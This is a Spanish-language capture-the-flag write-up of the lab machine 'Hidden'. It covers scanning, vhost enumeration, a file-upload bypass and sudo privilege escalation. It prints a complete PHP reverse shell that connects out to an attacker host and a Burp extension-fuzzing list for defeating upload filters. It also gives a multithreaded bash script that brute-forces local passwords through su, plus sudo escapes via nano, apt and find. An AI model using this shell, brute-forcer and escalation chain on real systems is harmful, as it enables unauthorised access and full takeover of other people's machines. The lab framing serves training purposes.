> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/hidden-write-up.md).

# Hidden write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/z7lRqH7NVVby3IBdDhzU" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear lo puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/1ctPFRciQUw4WqY27jB7" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 80 (HTTP) está abierto y su dominio es <http://hidden.lab/>. Por lo tanto, agregamos el dominio `hidden.lab` en nuestro archivo `/etc/hosts`\
de la siguiente manera:

<figure><img src="/files/xVYd9svCtjaOLMEBFCpt" alt=""><figcaption></figcaption></figure>

Ahora ingresamos la ruta `http://hidden.lab/` en el navegador y observamos lo siguiente:

<figure><img src="/files/vZEvfQD2LnUsSVtheToF" alt=""><figcaption></figcaption></figure>

Después de estar investigando no encontramos nada interesante, así que vamos enumerar subdominios ocultos con la herramienta `gobuster` ejecutando el siguiente comando:

```bash
gobuster vhost -u http://hidden.lab/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 --append-domain | grep -e " Status: 200"
```

<figure><img src="/files/HFMi6UlokSY3jjEcACO2" alt=""><figcaption></figcaption></figure>

Esto nos indica la existencia del subdominio `dev.hidden.lab`, Así que la añadimos en nuestro archivo `/etc/hosts` para que apunte a la IP `172.17.0.2`.

<figure><img src="/files/He01rZTkWxZQhTH4gXTA" alt=""><figcaption></figcaption></figure>

Una vez hecho esto ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/XaL8Dq8QCEI8agUaOno2" alt=""><figcaption></figcaption></figure>

Contemplamos que podemos subir un archivo PDF, sin embargo, vamos a intentar subir un archivo malicioso en PHP con ayuda de **Burpsuite**. El archivo malicioso contendrá lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

Ahora configuramos **Burpsuite** para capturar nuestra petición y subimos el archivo malicioso. Después de capturar la petición, la enviamos al intruder y cambiamos el Content-type para que contenga "application/pdf", después hacemos clic en `ADD` seleccionando la extensión `.php` y así enviaremos varias peticiones con distintas extensiones con ayuda de un diccionario.

<figure><img src="/files/fcUcvyNmUJsye7mBLnl1" alt=""><figcaption></figcaption></figure>

Ahora añadiremos un diccionario que contenga extensiones haciendo clic en `Load` y después deshabilitamos la opción de URL-encodear los caracteres.

<figure><img src="/files/xlUwlDZenpbU0AGxrY9N" alt=""><figcaption></figcaption></figure>

El diccionario es el siguiente:

```plaintext
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
.php
.php4
.php5
.phtml
.module
.inc
.hphp
.ctp
```

Una vez hecho esto hacemos clic en `Start attack`. Una vez se envíen todas las peticiones, vamos a usar la herramienta **Dirb** para enumerar rutas ocultas con el siguiente comando:

```bash
dirb http://dev.hidden.lab/
```

<figure><img src="/files/er2dcEn6stNzz1f7KARp" alt=""><figcaption></figcaption></figure>

Esto nos indica la existencia del directorio `http://dev.hidden.lab/uploads/`, así que vamos a ingresar esa ruta en el navegador.

<figure><img src="/files/nyrloL4NyO8WqRPG7w39" alt=""><figcaption></figcaption></figure>

Vemos que se subieron varios archivos, sin embargo, el servidor solo interpreta como archivo PHP los de extensión `.phtml` y `.phar`. Así que ahora nos ponemos en escucha por el puerto 444 y hacemos clic en algunos de esos dos archivos.

<figure><img src="/files/oCkYj87eUn0SlAXf3PDA" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, vamos a realizar un ataque de fuerza bruta a la contraseña de los usuarios de la máquina victima, para ello nos movemos al directorio `/tmp` y creamos el script `fuerza_bruta.sh` que contenga lo siguiente:

```bash
#!/bin/bash

AZUL="\033[1;34m"
VERDE="\033[1;32m"
ROJO="\033[1;31;43m"
RESET="\033[0m"
BLANCO_CLARO="\033[1;97m"

echo -e "${AZUL}"
cat << "EOF"
  _____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  
EOF
echo -e "${RESET}"

diccionario="$1"
usuarios="$2"
hilos="$3"
respuesta=1
usuarios_restantes="$usuarios" 

if [ -z "$diccionario" ] || [ -z "$usuarios" ] || [ -z "$hilos" ]; then
    echo -e "${ROJO}Uso: $0 <diccionario> <usuarios> <hilos>${RESET}"
    exit 1
fi

finalizar() {
    echo -e "\e[1;31m\nFinalizando el script\e[0m"
    
    if [ -s usuarios_exitosos.txt ]; then
        rm usuarios_exitosos.txt
    fi

    if [ -s usuarios_restantes.txt ]; then
        rm usuarios_restantes.txt
    fi

    if [ -s archivo.txt ]; then
        rm archivo.txt
    fi

    exit 0 
}

trap finalizar SIGINT

probar_contrasena() {
    local usuario="$1"
    local password="$2"

    local AZUL="\033[1;34m"
    local VERDE="\033[1;32m"
    local ROJO="\033[1;31;43m"
    local RESET="\033[0m"
    local BLANCO_CLARO="\033[1;97m"
    
    echo -e "${BLANCO_CLARO}Probando contraseña = $password para el usuario = $usuario${RESET}"
    if timeout 0.05 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then

        echo -e "${VERDE}La contraseña del usuario $usuario es: $password${RESET}" >> resultado.txt
        chmod 0777 resultado.txt
        echo "$usuario" >> usuarios_exitosos.txt
        echo "0" > archivo.txt
    fi
}

export -f probar_contrasena

export -f finalizar

while IFS= read -r password; do
    echo -e "${AZUL}Probando contraseña: $password${RESET}"
    
    
    if [ "$respuesta" -eq 0 ]; then

        usuarios_restantes=$(grep -Fxv -f usuarios_exitosos.txt "$usuarios" >> usuarios_restantes.txt ; echo "usuarios_restantes.txt")
        respuesta=1

        if [ "$(wc -l < usuarios_restantes.txt)" -eq 0 ]; then

            echo -e "${AZUL}Todos los usuarios fueron encontrados${RESET}"

            rm usuarios_restantes.txt

            finalizar


        fi
    fi

    
    cat "$usuarios_restantes" | xargs -I {} -P "$hilos" bash -c "probar_contrasena '{}' '$password'"

    

    
    if [ -s archivo.txt ]; then
        cat resultado.txt
        rm archivo.txt

        read -p "¿Deseas continuar? (s/n): " respuesta </dev/tty
        if [[ "$respuesta" =~ ^[Ss]$ ]]; then
            respuesta=0
        else

            if [ -s usuarios_exitosos.txt ]; then
                rm usuarios_exitosos.txt
            fi

            if [ -s usuarios_restantes.txt ]; then
                rm usuarios_restantes.txt
            fi

            exit 0
        fi
    
    fi
done < "$diccionario"


echo -e "${ROJO}No se encontró ninguna contraseña válida.${RESET}"
```

<figure><img src="/files/nwCfVkt5ceWLEdM4kBMI" alt=""><figcaption></figcaption></figure>

Ahora crearemos un diccionario que contenga las primeras 1000 contraseña del rockyou.txt con el siguiente comando:

```bash
head -n 1000 ../rockyou.txt > diccionario.txt
```

Y lo subiremos a nuestra máquina víctima ayudándonos de la ruta `http://dev.hidden.lab/` donde podemos subir archivos.

<figure><img src="/files/Tvv6xVd2Ia8o4qtp8Lu7" alt=""><figcaption></figcaption></figure>

Ahora movemos el archivo al directorio `/tmp` ejecutando el comando `mv /var/www/dev.hidden.lab/uploads/diccionario.txt /tmp/diccionario.txt` , creamos otro diccionario que contengan los usuarios de la máquina víctima y le damos permisos de ejecución al script. A continuación ejecutamos el script de la siguiente manera:

```bash
./fuerza_bruta.sh diccionario.txt usuarios.txt 3
```

<figure><img src="/files/6efAl2Ap6SZBxB18FdSE" alt=""><figcaption></figcaption></figure>

El script nos encuentra la contraseña del usuario `cafetero`, la cual es `123123`, así que iniciamos sesión como el usuario `cafetero`.

<figure><img src="/files/BYqzkybFabeWYLTU6cTH" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `cafetero`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/nano` como el usuario `john`.

<figure><img src="/files/mvgjSXwgf4rL8yzI42PF" alt=""><figcaption></figcaption></figure>

Así que ahora ejecutamos el siguiente comando para obtener una shell como `john`:

```bash
 sudo -u john /usr/bin/nano
```

<figure><img src="/files/ROMEOPWLNOJlAWsJanak" alt=""><figcaption></figcaption></figure>

Ahora presionamos la tecla `Ctrl + R` y presionamos de nuevo `Ctrl + X`, y escribimos el siguiente comando:

```bash
reset; bash 1>&0 2>&0
```

<figure><img src="/files/I4UA5JDVlzmwJeYmrmVY" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `john`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/apt` como el usuario `bobby`.

<figure><img src="/files/63mYfu3KSTHYMaJhXJYO" alt=""><figcaption></figcaption></figure>

Por lo tanto ahora ejecutamos el siguiente comando:

```bash
sudo -u bobby /usr/bin/apt changelog apt
```

<figure><img src="/files/AXK0UPXSERU7cDKfMowJ" alt=""><figcaption></figcaption></figure>

Y ahora escribimos `!/bin/bash`

<figure><img src="/files/h57yQkHHOyZCSNbEXwtD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0gNOj4GmCiy0QPSGl2bS" alt=""><figcaption></figcaption></figure>

Ahora que somos el usuario `bobyy`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/find` como el usuario `root`.

<figure><img src="/files/yrJQa7Pu03Oj4uzFgkzL" alt=""><figcaption></figcaption></figure>

Así que ejecutamos lo siguiente para obtener una shell con privilegios elevados:

```bash
sudo /usr/bin/find . -exec /bin/bash -p \; -quit
```

<figure><img src="/files/crxIXCqLAhw8ofXLBePJ" alt=""><figcaption></figcaption></figure>